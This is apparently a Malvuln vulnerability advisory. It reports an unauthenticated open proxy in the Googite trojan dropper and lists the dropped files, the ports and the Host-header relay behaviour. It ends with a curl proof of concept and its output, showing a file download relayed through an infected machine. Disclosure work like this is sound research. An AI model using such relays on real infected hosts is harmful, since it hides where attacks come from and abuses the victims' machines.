Trojan-Dropper.Win32.Googite.a Unauthenticated Open Proxy

Trojan-Dropper.Win32.Googite.a malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 7861d0a5379a3e9b296864536b771a75

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Trojan-Dropper.Win32.Googite.a
Vulnerability: Unauthenticated Open Proxy
Description: Googite malware drops several executables under dirs (SysWOW64/System32) and listens on non-specific but semi-predictable TCP ports as ports "1202, 1200" repeat often. On reboot ports 1202, 1200 became 6064, 6062 and pattern is that the ports are two digits apart each time.

1202,1200 (repeat)
1202,1200 (repeat)
1398, 1396
1202, 1200 (repeat)
1202,1200 (repeat)
1202,1200 (repeat)

The executables take CL args for the Port like svchosts.exe -p1200, and also allows spoofing the Host header when making HTTP requests to third-party systems. Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks or download files from third party systems and it will appear the attacks or downloads originated from the infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: ff30fbee3724d80dcb9471c0b553c99a
Vuln ID: MVID-2021-0240
Dropped files: svchostc.exe, svchosts.exe, surte.exe
Disclosure: 06/06/2021

1) DOOM.exe lives on
2) Use lower port of the two, high port (1650) will send RST packet when try to download.

curl -H "Host:" --out DOOM.exe -v
* Trying
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to ( port 1648 (#0)
GET /DOOM.exe HTTP/1.1
User-Agent: curl/7.55.1
Accept: */*

* HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Sun, 06 Jun 2021 23:51:47 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
* HTTP/1.0 connection set to keep alive!
Connection: Keep-Alive

{ [65820 bytes data]
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 643k
* Connection #0 to host left intact

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